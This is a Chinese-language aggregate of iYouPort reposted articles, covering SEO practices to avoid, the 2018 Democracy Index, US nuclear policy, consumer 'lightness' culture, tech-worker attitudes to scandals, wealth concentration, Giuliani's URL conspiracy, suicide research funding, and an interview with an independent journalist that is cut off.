因为搜索引擎可能会禁止你，你认为偷偷摸摸会有用……但这只是简单的愚蠢，并且明显对你的企业有害。如果你在社交网站上分享这些页面并被抓住就更麻烦了。

替代方法很简单：

- 创造更好的内容；
- 专注于可用性；
- 包括嵌入链接指向更有用的内容。

7. 购买或交换链接

购买链接或与其他网站交换链接，返回您网页的链接越多，您就越“相关”，对吧？确实如此……只要它们与您网站上的内容相关。否则，你会再一次看起来很愚蠢。用户很容易发觉，然后深度讨厌你和你的内容。

替代方法很简单：

- 指定与您的内容严格相关的高质量链接；
- 在链接之前先查看页面；
- 仅链接到受尊敬的内容以增加链接的良好性；
- 仅链接到长期存在的页面。

8. 伪装

这是指一个网站将更改的页面返回给搜索引擎以令其抓取您的网站。也就是说读者会看到与搜索引擎所看到的完全不同的内容和信息。有些网站会隐藏内容以提高搜索引擎排名。

其结果就是，搜索引擎将提供与查询无关的内容。您的网站将会被禁止进入搜索引擎列表。

替代方案：

- 你应该仅为读者创建内容，而不是搜索引擎创建；
- 不要被“没有它我们无法竞争”这类理由所诱惑。那不是真的。

9. 使用门页

门页（也称为网关页面）是关键字丰富、但内容不足的页面，旨在欺骗搜索引擎。它们包含大量关键字，但没有真实的信息。他们专注于号召性用语和目标网页的链接。

门页不会给读者带来真正的价值，它们针对搜索引擎机器人而非人类进行了优化，他们误导用户进入网站。

它违反了诚实诚信的原则。

再一次，非常简单，不要使用这种方法就行了。〇

原文

谁是全球最好的民主国家？ - iYouPort

其他

一月份公布的一项新指数让人们对民主的发展方式有了更清醒的认识。 虽然全球对政府运作的幻灭仍在继续，公民自由度也在下降； 但也有了一些变化出现

「图」

「图」

一月份公布的一项新指数让人们对民主的发展方式有了更清醒的认识。根据2018年经济学人智库的全球民主指数，美国甚至没有被列出前20名—被称为明显“有缺陷的民主”，被列为第25位。

该排名基于60个指标，涵盖五个相互关联的类别：选举过程和多元化；公民权利；政府的运作；政治参与；和政治文化。每个类别获得0–10分，最终分数是这五个分数的平均值。

该指数排名第一的是挪威、冰岛、瑞典、新西兰和丹麦。他们都被宣布为“完全民主国家”，因为他们的分数都高于9.22，很容易超过8.2的门槛。相比之下，美国最终得分为7.96，赢得了“有缺陷的民主”标签。该国的历史最高得分是8.22，在2006年和2008年获得。

北美仍然拥有平均得分最高的骄傲，但这要归功于加拿大的9.15，这使得整体排名为第6。 20个国家（12%）被指定为完全民主国家，其中14个位于西欧。

与此同时，乍得，中非共和党，刚果民主共和国，叙利亚和朝鲜排在最后，其分数被认为是“专制政权”。

报告说，2018年的大部分华盛顿主要政策行动—包括与中国的贸易战升级、与朝鲜的外交接触、能源，采矿和汽车行业的广泛放松管制—都未要求国会批准。此外，特朗普一再质疑美国司法系统在罗伯特·穆勒领导的联邦调查中的独立性和能力。这种内部冲突有可能进一步

削弱公众对机构的信心。导致2018年的政治文化得分下降。

分析还发现，政治参与类别整体呈现上升，女权运动在其中起到了主要作用。新报告说，事实上，在过去十年中，在民主指数的所有60个指标中，女性的政治参与比模型中的任何其他单一指标都有所改善。女性政治参与的正式和非正式障碍，包括歧视性法律和社会经济障碍，正在逐渐被推翻。

虽然该指数整体没有下降，但也没有改善。此外，分析还发现全球对政府运作的幻灭仍在继续，公民自由度也在下降。

重温一下2017年的报告《民主正在死线上挣扎吗？怎么办？》以及我们的编者案。

According to the 2018 edition of The Economist Intelligence Unit's Democracy Index, the U.S. doesn't even make the list of top 20—its demonstrably "flawed democracy" notching it the 25th spot. In addition, the analysis found that global disillusionment with the functioning of government continued as did a decline in civil liberties.

原文

走向灾难的捷径 - iYouPort

其他地缘政治

2017年7月，以122票对1票，1票弃权，来自世界各国参加联合国主办的会议的国家投票通过了一项禁止核武器的条约。虽然这项禁止核武器条约在大众媒体上几乎没有得到报道，但它的通过是一项重大事件，限制了数十年的国际核军备控制和裁军协议，这些协议共同使世界核武库减少了大约 80%，并且限制了灾难性核战争的危险。该条约禁止所有批准国家开发、测试、生产、获取、拥有、储存、使用或威胁使用核武器。

「图」

「图」

然而，奇怪的是，尽管世界上近三分之二的国家正式支持“禁止核武器条约”，但特朗普政府—— 就像其他核武国家的同行一样—— 认为这一历史性措施就好像它正签署在一个平行的、充满敌意的宇宙中。结果，美国和其他八个核大国抵制了条约谈判以及最终投票。此外，在联合国代表和观察员的眼泪、欢呼声和掌声中通过该条约后，联合国驻美国、英国和法国大使发表的联合声明宣布，他们的国家永远不会成为这项国际协议的缔约国。

一个明确的迹象表明，核大国无意放弃其核武库，在核武器的建立中美国政府处于领先地位。虽然特朗普政府继承了其前任的核武器“现代化”计划，但该计划旨在为核战争提供新的武器，同时还有升级或新的生产设施—— 其范围和成本不断增加。2017年10月，无党派的国会预算办公室（CBO）报告称，未来三十年美国核武器综合体计划“现代化”的成本已达到惊人的1.2万亿美元。这是由于特朗普政府计划升级美国的“三合一战略核力量”并制造新的巡航导弹和弹道导弹。

在这种情况下，特朗普政府没有兴趣执行自核时代开始以来所有民主党和共和党政府的主管部门所讨论或争论的核军备控制和裁军协议。目前尚未就此类协议进行谈判，但在 2018 年10月，特朗普宣布美国单方面退出与俄罗斯签订的《中导条约》，该条约于 1987 年由美国

总统罗纳德·里根和苏联总统米哈伊尔·戈尔巴乔夫签署，从欧洲取消了所有中程核导弹，建立了结束冷战的两国间合作关系，并随后成为美俄核武器控制的基石。

虽然一些盟军领导人加入了特朗普质疑俄罗斯对该条约的遵守情况，但大多数人批评美国的做法，称条约问题可以通过美俄谈判来解决。欧盟发言人在批评美国没有采取遏制两国核武器建设的行动时宣称："世界不需要新的军备竞赛，任何人都不会受益，相反会带来更多的不稳定。"尽管如此，特朗普以其平常的不羁风格立即宣布，美国政府计划增加其核武库，直到其他国家"开始意识到"为止。

当然，正如美国著名举报人丹尼尔埃尔斯伯格在他的书"世界末日机器"中指出的那样，核武器的意思是用来压制其他国家令其屈服或发动核战争的。当然，这就是特朗普总统的看法，正如他令人吃惊的核威胁所表明的那样。2017 年8月，特朗普对朝鲜的核导弹进展及其领导人的好战言论感到愤怒，警告说"朝鲜最好不要再对美国施加任何威胁"，否则"他们将遭受世界从未见过的怒火🔥"。2018年1月，在谈到朝鲜领导人金正恩时，特朗普夸耀地说"我也有一个核按钮，但我的比他的更大，更强。"

紧接着就是伊朗。2018年5月，特朗普单方面退出伊朗核协议，这是旨在确保伊朗不发展核武器的协议，正如联合国核查人员所报告的那样，该国已严格遵守该协议。即便如此，特朗普还是退出了协议，取而代之的是对伊朗实施惩罚性的经济制裁。

特朗普政府对建立核武器和威胁核战争的这种痴迷强调了它不愿与其他政府一道制定合理的核政策。事实上，它似乎决心继续朝着无与伦比的灾难发展。

Lurching Toward Catastrophe: The Trump Administration and Nuclear Weapons. This obsession of the Trump administration with building nuclear weapons and threatening nuclear war underscores its unwillingness to join other governments in developing a sane nuclear policy. Indeed, it seems determined to continue lurching toward unparalleled catastrophe.

原文

轻之文化：喜忧参半的人类革命 - iYouPort

其他

这是一个“轻”扭转局面的时代，轻是被人渴望的轻、是梦的传送器，承载着无边无际的愿景，也承载着可怕的危机。

「图」

「图」

这是一个如此轻盈、流动、多变的物质世界。“轻”，从未创造出如此多的期待、欲望和执念，尼采笔下的这句话也从未如此的恰如其分：美好之物是轻盈的，一切神圣皆以灵巧之足奔跑。

轻，正在支配这个世界，它入侵人们的日常习惯、重塑人们的想象，它为艺术的唯一范畴所青睐，在物品、身体、运动、饮食、建筑、设计等无数领域内成为价值理想的迫切需求。在超现实时代中，随处可见对“轻”的多形态崇拜，周围皆是它的疆域：界限在人们眼中消失了，因为它已经渗透到社会和个人生活的方方面面，渗透进一切“物”的存在，梦和身体。

技术经济领域从它对重型设备的执念中摆脱出来，进入了超轻化、微型化、非物质化层面。曾一度被认为能唤起敬意的“重”世界正在发生巨大变革，“轻”来了，它指向流动、虚拟、对自然的敬意。

这是一个“轻”扭转局面的时代，轻是被人渴望的轻、是梦的传送器，承载着无边无际的愿景，也承载着可怕的危机。

「图」

「图」

世界和文化的轻

技术性的宇宙正无可避免的微型化、轻量化、去物质化。微电子、微

型机器人、显微外科、纳米技术，这类“无限小”俨然已成为创新进步的新边界。从此，相比风格领域，“轻”将更多见于新材料、数字网络、超微型化等领域。

微型化和对微型的征服呈现出一个双曲线模型。这个时代诞生了“小人国工程学”，它能随意控制原子、改变材料的特性、物质的特性，创造新材料、能控制基因，在纳米级别上融合活性物质和惰性物质。这场轻革命并非虚幻，它在亚微观领域创造了一个触及生活方方面面的世界，恰逢高科技的天时，一个崭新的“轻纪元”开始了。

气候变暖的压力下，能源革命也迫在眉睫。这场变革是一次新的工业革命，它依靠的不再是石油和核能，而是可再生能源，风能、太阳能、地热能、海洋能，这将是“轻经济”的发端。

“轻”的影响力表现在各个领域：时尚、设计、装潢、建筑，这些影响力也投射于肉体，对轻盈和线条的热爱爆发了。饮食类书籍快速传播，各种“轻食”出现在每一家超市的货架上，吸脂手术遍布大街小巷，健身馆遍地开花，骨干模特占据杂志和荧屏。

“轻”的规则已不再局限于个人对待生活和他人的态度，它俨然已成为全球经济和文化的运作模式。在超消费的资本主义背景下，关于永恒变化、不稳定和诱惑的轻浮的逻辑，将经济生活的某些方面完全重构了。

一种与时尚系统类似的机制支配者这个作为诱惑资本主义的超现代资本主义。gadget、搞笑广告、电子游戏、各类音乐、演出和动画，没完没了的更新，经济体系和无聊琐事之间的对立关系已经完全模糊，现实的原则和轻的原则混在一起。必需的世界和无关紧要的世界彼此交叉、杂糅，轻的逻辑不再是经济现实中的他者，而是经济现实的核心。

无论是从字面上，还是从寓意上，我们都生活在一个“轻”大获全胜的时代。大众传媒不断传播着日常轻文化、消费领域不断宣扬享乐主义、趣味至上，它正在形成一套参考标准，修改着人们的价值观。几乎一切媒介都在追求无止境的娱乐气氛，煽动人们利用这些直接简单的愉悦。诱惑替代强制、享乐主义替代苛刻的义务、幽默代替庄严，消费世界趋向表现一种卸除所有思想重量、所有意义厚度的世界。

不久之前，大众阶层和上流阶层在生活方式上还有着明显的差别，主要差别在于：大众阶层生活方式概括为粗和重，而上流阶层的生活方式表现为轻、细和格调。我们已经快要走出这个拥有不同习惯的世界

了：随着阶层文化的崩塌，重和粗已经不再是任何群体的特质，从今往后，在饮食、个人外表、活动性、交往、生活方式等各方面，每个群体都会表现出对轻的渴望。

社会依旧存在阶层隔阂，但“轻”的规则正在支配着所有阶层。

「图」

「图」

轻的乌托邦

集体主义和个人的生活转变以另一种方式表现着轻的力量。与道德主义、约定俗成的第一种现代性截然不同，第二种现代性表现为流动和灵活。

在超现代中，个人生活的特点是不稳定的，它交付给永恒的变化、短暂的时间和行动主义。沉重的集体义务让位于普遍的自我管理，以及不稳定的关系和承诺，一种游牧式的、变动式的个人主义，成为超现实的主流。

与世界关系的极端个人化构成了轻之变革中居于核心部分的主要社会动力。性生活的自由化、家庭和宗教正在失去权威地位、社会风尚和个体都在追求“酷”。摆脱了宗教家庭思想观念的束缚，“超脱的”、解放的、无拘无束的个体在社会浮动线上像原子一样活动。

一些人在消费主义的道路上越走越远，以期遗忘或者减轻当下的重量；另一些人则用“真正的轻”来反对一种被宣告为虚假、使人异化的商品之轻。

在这种情况下，改变生活意味着卸除那些压在我们存在之上的多余重量，通过内在的轻的技术来克服消费主义带来的沉重的轻。“排毒”正在火热，同样流行的还有冥想、瑜伽、各种放松技巧，总之是一切能让人们对自己的身体和精神状态感觉良好的事物。

对于如何摆脱铺天盖地的物质主义负担，不可胜数的书籍、杂志和文章，野心勃勃的想要给出解决的法门。继欲望乌托邦之后，是对轻的期望—- 包括肉体之轻和精神之轻—— 是对一种更为放松的日常生活、一种压力更小的当下的期望；更好的生活和轻的生活已经无法分开。

轻的乌托邦已经到来。

「图」

「图」

轻的悖论

超现代的讽刺就在于，眼下正是“轻”在滋养着“重”的精神。因为轻的理念带来一些强迫的规则，他们往往使人疲惫，有时甚至使人消沉。拥有苗条身材往往意味着与及时行乐的安逸状态决裂，投身一种无忧无虑的状态背道而驰的生活。

消费这件事本身对于绝大多数人来说就是日常焦虑的来源，迫使人们做出那些类似劳动的行为，这项劳动要求人们进行耐心且认真的搜寻和比较。在一种宣扬享乐主义轻理念的文明里有可能不幸福。然而，前一种不幸福比后一种更难熬。

我们的世界已经诞生出许多对快乐的欲求，这些欲求注定无法被满足，由此，因生活不够轻松、不够有趣、不够流动而产生的种种失望，便越发被强化。当娱乐文化和超轻的物质设施占据上风，生活的轻盈之感反见消减。

一种新的“沉重精神”侵入了这个时代。

轻的范型

围绕几种基本范型，人类持续幻想着轻的各种大相径庭的形式。

流动之轻：从茅屋、蒙古包、帐篷，到互联网时代突破时间和空间的限制，创造出的一种灵活性和数字化游牧主义带来的新的流动方式。

娱乐之轻：无论何时，都有数不清的社会法则和手段可以帮助人们减轻生活负担、逃避社会压力和规则。古希腊的诗人们都承认，诗歌的目的是带来愉悦。节日、滑稽、闹剧、笑话、化妆，是人性诞生之初便存在的东西，没有任何一个社会能离开娱乐设施，它们通过缓解集体生活的束缚，为人们提供生活中的喘息、放松和休闲的时刻。

肤浅之轻：具体出现在时尚领域，表现为服装的品位、打扮技巧，以及一切能提升外表魅力的东西。它在沙龙和网络社交中风生水起，人们蜻蜓点水般从一个想法跳入另一个想法，毫无深度，只聊一些无关紧要的东西。在当代消费主义中，我们可以看到这一范式的终极形象，它与娱乐有着明显的关联。

风流之轻：它始终与性交易、不忠、精疲力尽的爱有关。10世纪以来，风流之轻开始表现为一种价值体系，一种生活准则，这种准则在爱的感受和追求上宣扬变化与更新。朝三暮四、唐璜主义、情爱冒险、艳遇和懒交，这些因欲望的短暂与善变而产生的情感形式多种多样。这种轻，倾向于抬高引诱女人的男人，而贬低那些被说成轻浮、下流、无德的女人。

风格之轻：艺术似乎是人们对轻的需求的主要表现领域之一。从音乐到舞蹈、从装饰到绘画，从诗歌到建筑，艺术的历史上有着大量的例子可以表明优雅的美学地位。并非每一件艺术品都会表现出轻盈的形象，但几个世纪以来，无论什么样的文明，在其艺术世界里总能看到诗歌、装饰，精致、静态的优美、动态的优雅。要思考历史就必须先承认，轻的美学在美的历史中占据优势。

「图」

「图」

智慧之轻

生活轻浮，生活逃向了那些永远崭新的愉悦，单凭这些还不至于耗尽对轻的想象。不动心，即人战胜了自身的恐惧以及虚妄后达到的平和状态，它决定了古代对快乐的理念。这种理念所衍生的宁静之轻恰好与那种轻浮的范型相抵触。

古代哲学和众多宗教观点所教授的正是这种平静、简单、内在的生活范型。哲学的唯一目标就是治愈人类，为人类减压，排除它的忧虑和激情，卸去痛苦的负担。

诚然，轻的概念在古代哲学中如果算不上缺席也确实鲜少出现。但不能否认，快乐生活的理念和灵魂的平静不谋而合，而这种理念的核心正是对轻的想象。

幸福是一个不被事物的重量、野心、对未来彼岸的一切恐惧所累的灵魂才有的状态。

在现代社会中，肤浅之轻显然占据了首要地位。但是在今天，古代的思潮派别、佛教以及超消费社会的批评重新激发了人们对智慧之轻的关注，这就证明，智慧之轻的范型还未日暮途穷。肤浅之轻、平静之轻，这矛盾的两级将在很长一段时间内继续作为走向幸福的两条不同的道路。

人们被智慧所吸引，因为它涉及的不是短暂的、时断时续的快感，而是生活的全部。它寻求平衡、平和、完美、幸福以及本质的东西——存在之喜悦。满足于生活，从生活的整体感受中获得美妙的享受，这不就是至高的生活之轻吗？

生之快乐显现于身处尘世的喜悦体验中，显现于充分生活的喜悦中。斯宾诺莎将喜悦定义为我们发现自己的生活能力变强时，所体验到的情感。但是从现象学的层面来看，比起因能力的增长而产生的喜悦，更为真实的喜悦是生活负担的减轻，是一种悬浮、上升的体验，对生活的陶醉。它是主观上的轻的最美好、最完美的表现。

信奉深度的人们正在大失所望，但无法否认，轻确实拥有它的社会积极性，其中就包括在节约消费的组织原则上竖立起来的轻浮之轻。轻的大众工业化明显有利于巩固民主自由的领域，有助于组织一个更和平、更开放、更个性化的世界。

然而，消费主义的轻降低了上流文化的价值和被渴望程度，造成了对消费品的痴迷，导致了生态的恶化，在这些事实面前如何能以消费主义为荣？一个人人以逸待劳、理智和技术无用武之地的更轻的物质世界将会是什么样？以轻的原则为基础的话，整个教育都会走向失败……

当超出某个边界时，轻浮之轻就会变得无聊且重复：过度的轻毁灭了轻自己。

必须承认，“轻”有一身的弊病，但轻的革命创造了一个以物质舒适、选择和自我管理为主的世界。以此看来，可以说轻文明代表着民主人文的现代旅程中一个新的阶段。〇

原文

道德的贬值 - iYouPort

其他

你会因为公司的缺德而辞职吗？

就业网站最近进行了一项调查，试图了解恶劣的丑闻如何影响科技工作者继续参与和申请在这些巨头公司工作，这些公司一直处于数据泄漏、性骚扰指控和欺骗性隐私实践等丑闻的中心。但是，结果可能会让你大吃一惊。

事实上，调查中1000名科技工作者被询问了他们对整个监视资本主义的态度，他们对陷入丑闻的公司工作的愿望，是否曾在丑闻缠身的公司工作，是否考虑在其他地方找工作，等等问题。结果是……

首先，结果显示大多数科技工作者（59%）并不认为科技行业的丑闻足以阻止他们在该行业工作。这并不是特别令人惊讶，因为工人们投入了时间和金钱以接受培训为了进入一个领域，有些人可能常常认为他们可以帮助从内部改变环境；事实上，只有6%的受访者表示，丑闻使他们对科技行业的工作兴趣减少。但仍然很奇怪，有34%的科技工作者说丑闻实际上让他们对这个领域更感兴趣了。

这个答案在男性（*41*%）中比女性（*26*%）更常见，在千禧一代（*41*%）中更常见，相比退休的人（*16*%*; 55*岁及以上）。

当谈到为特定丑闻缠身的公司工作时，33%的受访者表示他们对为这样一家公司工作的兴趣不大。尽管女性更为谨慎（40%的人更愿意签约，相比之下，男性占27%），但是，在实践中，更多的男性表示他们实际上已经因为丑闻而退出了科技公司的工作（68%）与女性相比（50%）。然而，目前尚不清楚退出的员工在丑闻中扮演的角色（例如，如果一个人是肇事者，那就不那么高贵了）。

根据调查，公司所涉及的丑闻类型会对员工的留下意愿产生影响。

基于技术的丑闻，例如数据泄露或产品故障，是最有可能导致员工离职的争议类型，*37*%的受访者表示他们会“高度可能”或“有可能”这样

做。

基于性别的丑闻，如性骚扰和雇佣偏见，也可能使员工离职，但不如科技丑闻；只有35%的受访者表示这些丑闻会影响他们的决定。

在参与丑闻的公司工作的人中，近四分之三（**74**%）的工人表示他们没有考虑离开。因此，上述数据中的良好意图并不总是能够实现。

奇怪的是，65%接受调查的科技工作者仍然认为科技公司是道德的，尽管超过一半（53%）的人认为他们需要更多监管。再次，这种情况具有性别差异，57%的女性与71%的男性认为公司是“道德的”。

目前还不清楚在这个意义上“道德的”标准是什么，但具有讽刺意味的是，那些愿意离开这个领域的人最有兴趣进入金融领域，尽管金融领域是众所周知的道德失败。

总之，以下是来自Indeed调查的一些关键要点：

- **34**%的受访者表示，由于丑闻，他们对科技行业的工作更感兴趣了；
- 32%的受访者表示他们更愿意申请参与丑闻的公司的工作；
- **31**%的受访者表示，由于公共丑闻，他们更渴望在整个科技行业工作；
- 15%的受访者表示，他们曾在2018年成为公共丑闻一部分的公司工作；
- 38%的员工表示他们可能会因为技术丑闻而离开公司。相比之下，35%的人愿意在性别丑闻后离开，而30%的人愿意在政治丑闻之后离开，例如有一位表达与自己相矛盾的政治观点的高管。
- 48%的受访者表示，他们现在更愿意在2018年的公共丑闻之后举报不当行为；
- 如果公司对丑闻透明并试图纠正，那么79%的员工可能会留在岗位上；
- 根据调查，决定是否加入科技公司时最重要的因素是薪酬和福利。公众声誉和形象排在榜单的最底层，只有23%的受访者表示这很重要；
- 技术人员考虑完全转向另一个行业的首要原因是薪酬较高，而不是其他因素。

尽管得到了一些令人沮丧的结果，但我们已经看到有技术人员开始要求一个更加道德和透明的工作场所，特别是在去年。谷歌和微软的员

工迫使高管们放弃与国防部达成100亿美元合同的投标，因为他们不愿意将他们的工作武器化。450名亚马逊员工签署了一封信，要求首席执行官杰夫贝佐斯停止向执法机构出售其面部识别软件。超过1,400名谷歌员工签署了一封信，要求提高透明度和为中国政府设计的审查版搜索引擎的责任。这只是几个例子—尽管公平地说，这些只是少数几家科技公司。

更多《透明度革命要从内部爆发》

科技行业面临的一个主要问题是，未来员工的教育中没有涉及道德培训。当公司或专业组织制定道德规范时，这些规范似乎对实际行为几乎没有影响。例如，北卡罗来纳州立大学的一项研究发现，道德规范似乎没有对计算机科学家进入该领域后做出的决定产生任何影响。

由于我们许多人致力于在科技行业制定某种道德准则，很明显我们面临的挑战是人们是否真正关心公司的道德规范。就如微信和**Facebook**，丑闻不断和监视曝光都没能明显减少用户数量。

如果我们自己都不关心自己的隐私和安全，我们怎么能期望公司表现得更好呢？如果我们继续简单地对道德教育嗤之以鼻，并且不对不良行为或甚至违法行为施加任何处罚，我们就相当于亲手打造一个更具欺骗性和危险性的未来。

Tech Workers Are Still Willing To Work For Scandal-Ridden Companies. If we don’t care about our own privacy and safety, how can we expect companies to behave any better? If we continue to simply give lip service to ethics education and fail to enforce any penalties for bad behavior or even breaking the law, we may be implicitly sanctioning a more deceptive and dangerous future.

原文

金顶珠穆朗玛 - iYouPort

其他

近几十年来，世界极端贫困人口大幅度减少，数百万人加入了膨胀的中产阶级的行列—— 特别是在中国。虽然这些经济变化是积极的，但 Visual Capitalist 的 Nick Routley 指出，全球财富谱的另一端必需引起最多的关注。经济金字塔顶端的极少数人积累了惊人的财富。

「图」

「图」

如今，世界上成年人口中只有不到1%的拥有100万美元以上的财富。尽管数量很少，但这个精英集团共同控制着全球46%的财富，价值约为129万亿美元。

另一方面，世界上 70% 的人口都属于低于10万美元的财富范围。世界上大多数人整体只控制着全球财富的 2.7%。

即使“富人越来越富裕”，大多数人也都有好消息。多年来，这个最低财富范围内的人口比例一直在缩小。

事实上，70%的超高净值群体（超高净值人士）—— 可投资资产达 3000 万美元或以上的人—— 居住在全球十个城市。

「图」

「图」

新兴市场目前占超高净值人群增长的22%—比2000年仅增长6%，仅中国就增长超过16000 超高净值人士。这个精英阶层的许多成员可能会在世界各地的新兴经济体中产生财富，但正如我们从上面的地图中可以看到的那样，世界上最富有的人最终在地理上非常集中。

如下图所示，财富在欧洲和北美积累。这种趋势非常明显。有一件事是肯定的—世界正在快速变化，正如这幅图在20年前看起来非常不同，全球财富在20年后几乎肯定会有所不同。

「图」

「图」

Today, slightly less than 1% of the world’s adult population occupies the $1M+ wealth range. Despite their small numbers, this elite group collectively controls 46% of the world’s wealth, valued at approximately $129 trillion

原文

阴谋论来自无知 - iYouPort

其他

Rudy Giuliani 在担任个人律师之前曾就唐纳德特朗普的网络安全事宜提供过简要建议，不过他甚至不了解域名是如何运作的。并且，由于缺乏理解导致他发明了关于 Twitter 的荒谬阴谋论。

这一切都始于 Giuliani 在推特上发表的一条推文：就是下面这样。你能看到他忘了一个空格。

「图」

「图」

如果有人发推文中存在有效的 URL，Twitter 会自动将其转换为超链接。在这种情况下，.in 是印度国家的顶级域名，因此 Twitter 将“G-20.In”解释成了 URL，并将其链接到了 http://g-20.in/。

结果一位名叫 Jason Velazquez 的亚特兰大恶作剧爱好者就这么找到了灵感，他认为这是个机会，于是迅速注册了 G-20.in 域名。

“我想，我可以买到这个并把我想要的东西放在上面”，他告诉NBC说。

结果是一个简单的网站，上面的内容是宣布“唐纳德J.特朗普是我们国家的叛徒”，并包括与穆勒调查有关的信息的链接。

这是个有趣的玩笑。但是 Giuliani 可没被逗乐，他认为这是一种巫术，是推特在背后捣鬼，把辱骂特朗普的内容“嵌入”了他的推文。额。

Giuliani 的确表现出了一个受迫害妄想的典型症状。但是如果你仔细想想的话这件事并没那么好笑。

当我们寄希望于传授安全知识时经常会被技术外行误会为“别有用心”，比如渗透测试，如果对方不能准确理解黑客这个概念，结果很

可能发生的麻烦会比 Giuliani 的阴谋论要严重得多。

Giuliani can’t figure out how URLs work, blames Twitter for liberal bias. “Twitter allowed someone to invade my text,” Giuliani tweeted.

原文

面对死亡，不能只是耸耸肩 - iYouPort

其他

如果一个杀手漫游美国每年杀死 47,000 名男性、女性和儿童，那么你可以打赌社会肯定会要求采取措施来结束这一祸害。好吧，这样的杀手是存在的。它被称为自杀，并且它的比率正在稳步上升。

然而，除了呼吁提高意识之外，全国的反应只不过是耸耸肩，除非死者是名人—— 时装设计师 Kate Spade 和著名厨师 Anthony Bourdain 这是今年的两个名字—— 被发现悲惨地自杀了。USA TODAY 全面了解了这场公共卫生危机及其涟漪效应。

虽然自杀是美国第十大死亡原因，但理解和预防死亡的努力却寥寥无几。迄今为止，全球最大的生物医学研究部门国立卫生研究院去年花费了 6800 万美元用于自杀研究—— 但是，与用于其他疾病的研究资金相比，这个数字相对较小。

肾脏疾病的死亡人数与自杀差不多，但却获得了九倍的研究经费。事实上，美国国立卫生研究院花了两倍多的研究资金来更好地了解炎症性肠综合征，甚至更多地了解膳食补充剂。

美国国立卫生研究院表示，它花费了数十亿美元用于心理健康研究，并“间接防止了自杀”，但这具有明显的误导性：数百万美国人患有情绪问题，但是因情绪问题自杀的人相对较少。社会需要知道为什么会这样，只有进一步的研究才能回答这个问题。

由美国自杀预防基金会资助的一项新调查显示，94% 的美国人认为自杀是可以预防的，并且该基金会主张增加 NIH 自杀资金，达到1.5亿美元。

- 关联：人们为什么要选择自杀？把视野放到全球范围内《百忧解时代（三）令人沉迷的广义化自杀》

Suicide kills 47,000 men, women and children a year. Society shrugs. The NIH says that it spends billions on mental health research and that this indirectly prevents suicide, but that’s

misleading: Millions of Americans suffer emotional problems, and relatively few resort to suicide. Society needs to know why this is, and only further study can answer the question.

原文

一个人的独立媒体 — — 对话虚无主义时代的理想主义狂人 - iYouPort

关于真实的“媒体”-真相衰变

疫苗事件是最近中国的一大热点，但与此同时出现的并不是人们期待的改变，而是假冒著名账户刷点击量的丑闻。本文是我们去年对一位欧洲独立媒体人的采访，他的观点应该值得中国读者思考。

> 日前出现的假“兽爷”事件再次证明，人们渴望的很可能不是真相，而是十万＋。这就是为什么问题会层出不穷，即便再激烈的舆论也解决不了问题。甚至会有人满足于层出不穷的问题，因为它带来了更多的十万＋机会。也难怪很多朋友对“舆论”失望，只因这个社会很少能获得真正的舆论 — 即公民权、对问责和透明度的要求 —— iYouPort

「图」

Tim Marlowe 或许这也不是他的真名，但基本无关紧要了，因为根本没有人知道这个名字，就如同他使用过的其他名字那样。

“名字真的很重要吗？”他说。当每个人都在为自我营销而拼命时，Tim 仍然信任思想本身的光彩比一个特定的标示更加可贵。Tim 使用过上百个完全不同的笔名，发表过他自己都数不清的文章，被很多媒体转载，但他从来不是名人，因为没有任何一个名字能真正代表他的全部思想。

当我准备写这篇文章时，Tim 叮嘱我，“请不要包含宣传性信息”，我答应了，于是本文不会显示Tim所服务的独立媒体的名称。我们关注的是这位理想主义狂人的内心世界。

Q：我觉得这是一种叛逆。可以这样理解吗？在一片发疯的炒作中采取“与众不同”的路线，你是用行动在抵制自我营销？

Tim：可以这样理解，但不完全是叛逆，自我营销是互联网媒介造就

的时代气氛，但同时也是个人选择，我依旧相信这个时代里还有很多人不追求名利，虽然他们有可能与我做着不同的工作，也许有着不同的个人理由。我的理由是，不希望自己被权势和金钱绑架，如果你出名，就必然会被商业和政治瞄准，我见过太多名人的光环被权势所利用，最终失去了自己。

Q：在中国，知名度是党产。

Tim：我听说过，这在很多国家都不奇怪，也是为什么人们一直在强调媒体、知识分子和公民社会的独立性，一个你的脑子还是不是你的脑子的问题，虽然事实上越来越多的他们正在失去独立和自由。

Q：这也是你坚持独立媒体的原因？一个人坚持五年？

Tim：是的。假新闻正在盛行，虽然人类从诞生那天起就学会了造假，但互联网让虚假得以获得更大范围的影响力，这是前所未有的。“媒体”和“宣传”的界限愈加模糊，而读者的判断力至今普遍没能适应这个真伪难辨的纷杂世界，商业化媒体被身后的商业巨头所控制，而政府管制的媒体早已失去了媒体的全部价值，彻底变成了宣传机器。商业巨头和政府把控了绝大部分资源，在谋生的需求之下，业内很多人屈服于现实，导致新闻业整体正在被极速扭曲。

判断一个媒体是否能做到真正的独立要看它的资金来源，他们中很多不过是打着独立媒体的旗号为投资人背后的政治靠山代言。

Q：说实话我很难想象一个人完成维系一个独立媒体平台运作的全部任务，而且持续五年之久，你还会坚持下去是吧？你的动力是什么？我觉得应该不是金钱。

Tim：我现在没有收入，这是我的选择，我不希望把平台变成摇钱树。曾经很多人问我过这个问题，尤其是在我失业之后。我说自己不会急于考虑，因为那将意味着有可能被迫出卖原则，如果吸引资助和坚持公正的新闻原则可以轻而易举的兼得，这个世界就不需要强调媒体的独立性了。

至于动力，只是一种作为新闻人的责任感，这是原因之一，没什么特别，这种责任感一直在绝大多数新闻人心目中留存着，只是很多人在维生的压力下选择了妥协，我没有。

我做过八年媒体，国家通讯社和商业媒体都做过，最终辞职，因为无法苟同某些丧失原则性的逐利追求。我的道德观不允许为利益而撒

谎，不允许有失道义的伪善。我不相信新闻业注定衰落，虽然这个领域的悲观情绪已经很浓厚了，我在试着改变它。

Q：你指的悲观是什么？

Tim：比如对金钱利益的追求。如今它几乎是很多人的全部理想。当一种新的工作模式出现时，人们最关心的是它的收益如何，而不是它能为社会带来什么。这一价值观的覆盖面非常广泛，当然也包括媒体，这就令很多人尤其是新入行的人，更加专注于个人利益的索取，甚至不惜违反规则行事。

当有人以“不做有偿新闻”为荣的时候，意味着这个行业的生态已经恶化到足够程度。其卑劣不亚于一个独裁者为了“尚且没有百姓被饿死”而感到骄傲。

Q：在中国，一直以来很多网络媒体使用点击量和稿酬挂勾的分配模式。我对此深感困惑。

Tim：这是在刺激流量经济，用金钱鼓励数据造假、收买支持的行为，以及平庸的大众化的认知。电影业对票房的信仰滋生出同样的东西，当一个垃圾作品通过票房数据造假、病毒式营销和炒作，成为所谓的成功案例后，会带动更多的创作以垃圾为标准出现。

中国没什么特殊的，这是互联网滋生的一种经济模式，互联网没有国界，这些现象在很多国家都存在。

Q：中国特殊论在中国很流行。

